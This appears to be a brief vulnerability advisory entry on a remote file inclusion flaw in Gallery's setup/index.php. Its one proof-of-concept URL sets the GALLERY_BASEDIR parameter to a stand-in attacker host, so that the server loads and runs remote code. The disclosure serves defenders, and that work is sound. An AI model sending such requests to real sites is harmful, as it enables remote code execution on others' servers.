• info
• discussion
• exploit
• solution
• references

Gallery index.php Remote File Include Vulnerability

The following proof of concept URI request has been provided.

http://www.example.org/path_to_gallery/setup/index.php?GALLERY_BASEDIR=http://www.attacker.com/